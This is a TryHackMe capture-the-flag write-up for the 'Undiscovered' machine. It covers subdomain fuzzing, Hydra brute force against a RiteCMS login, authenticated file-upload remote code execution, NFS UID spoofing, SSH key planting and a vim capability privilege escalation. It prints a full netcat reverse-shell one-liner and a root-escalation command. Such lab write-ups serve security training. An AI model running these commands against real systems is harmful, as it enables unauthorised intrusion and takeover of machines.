Undiscovered TryHackMe Writeup
Scanning
We run nmap on all ports, with scripts and versions.
Enumeration
We access the web service, find a website with what looks like a “hint”.
We launch the wfuzz tool to list possible subdomains enabled on vhost.
We see that there is only one with different number of lines.
We access the new web resource and find RiteCMS version 2.2.1 deployed.
We check again wfuzz, we see that it has identified another subdomain.
We list another subdomain with the same CMS, unlike the previous one, in this one we have visibility to the authentication form.
We brute force the authentication form with Hydra, we get the password in plain text.
Exploitation
We searched for exploits for this version of the CMS, we found several and some scripts that automates, but I preferred to do it “by hand”.
RiteCMS 2.2.1 - Authenticated Remote Code Execution
We create a malicious file called “m3.php”.
Enter the credentials obtained and upload the file m3.php.
We access the file and check that we can execute remote code.
Reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.30.149 443 >/tmp/f
We encode the payload and execute it from burp.
Remote access to the machine:
Once inside, we launch the dirsearch tool and we see that we could mount and write in the folder of the user “william”.
We tried to mount it, but we do not have permission to view its contents.
But it is easy to take advantage of this vulnerability, just create a local user with the same uid (3003) and now you can access your folder and read the user.txt flag.
We checked the folder and found two interesting files “admin.sh” and “script”. I try to delete the file and it is possible to replace it, thinking that maybe they can be combined or that there is some crontab running as another user, I try to add a line to get a reverse shell (but without success :().
We check with strings the content of the “script” binary and we see that it executes a “cat” inside the user’s home folder.
Taking advantage of the fact that we have write permissions in the nfs, we insert our public key in the “authorized_keys” file of the user “william” and we access by SSH.
We make some tests with the file and we see that we can indeed impersonate the user “leonard” to be able to read any file in his folder, so we try to read his private key and we see that we have been lucky.
We access by SSH and we see that we have access as “leonard”.
Privilege Escalation
We read the file “.viminfo”, we see a series of commands that already sounds us of the use of privilege escalation by means of vim, this already makes us suspect which is the way to the privilege escalation.
As we can’t run sudo because we don’t know the user’s password, we see if we can access the vim binary through its capabilities, we see that we have “cap_setuid+ep”, so we can abuse it and become root.
Command execute
/usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
We run the command, become root and read the flag from root.txt
